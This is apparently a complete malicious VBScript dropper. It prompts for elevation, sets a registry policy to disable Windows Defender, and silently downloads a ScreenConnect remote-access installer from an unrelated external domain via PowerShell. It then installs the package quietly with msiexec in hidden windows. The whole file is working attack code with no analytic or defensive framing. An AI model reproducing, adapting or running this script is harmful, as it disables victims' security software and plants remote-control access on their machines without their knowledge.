Dim shell
Set shell = CreateObject("WScript.Shell")

' Function to disable Windows Defender
Sub DisableWindowsDefender()
    Const HKEY_LOCAL_MACHINE = &H80000002
    strComputer = "."
    strKeyPath = "SOFTWARE\Policies\Microsoft\Windows Defender"
    strValueName = "DisableAntiSpyware"

    ' Check if the value exists, if not, create it
    On Error Resume Next
    Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\default:StdRegProv")
    oReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue
    If Err.Number <> 0 Then
        oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, 1
    End If
    On Error GoTo 0
End Sub

' Check if running as admin
If Not WScript.Arguments.Named.Exists("elevated") Then
    ' Relaunch script with admin privileges
    CreateObject("Shell.Application").ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """ /elevated", "", "runas", 1
    WScript.Quit
End If

' Disable Windows Defender
DisableWindowsDefender

' Define the MSI URL and installation arguments
msiURL = "https://zakkenenpallethandeldeboer.nl/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
installArgs = "/qn"  ' Quiet mode, no UI

' Build the command
' Note: msiexec can directly use a URL, but for reliability, we download first.
' This method uses a temporary file to ensure the installation works even if the network has issues.
tempFile = shell.ExpandEnvironmentStrings("%TEMP%") & "\ScreenConnect.ClientSetup.msi"

' Download the MSI file silently using PowerShell (built-in on all modern Windows)
downloadCommand = "powershell -Command ""& { Invoke-WebRequest -Uri '" & msiURL & "' -OutFile '" & tempFile & "' }"""

' Run the download command and wait for it to complete
shell.Run "cmd /c " & downloadCommand, 0, True

' Check if file was downloaded successfully
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(tempFile) Then
    ' Install the MSI from the temporary file
    installCommand = "msiexec /i """ & tempFile & """ " & installArgs
    shell.Run "cmd /c " & installCommand, 0, True
    
    ' Optional: Clean up the temporary file after installation
    ' fso.DeleteFile(tempFile), True
Else
    ' Optional: Log an error or show a message if download failed
    ' MsgBox "Failed to download the installer.", vbCritical, "Error"
End If

' Script ends - installation continues in background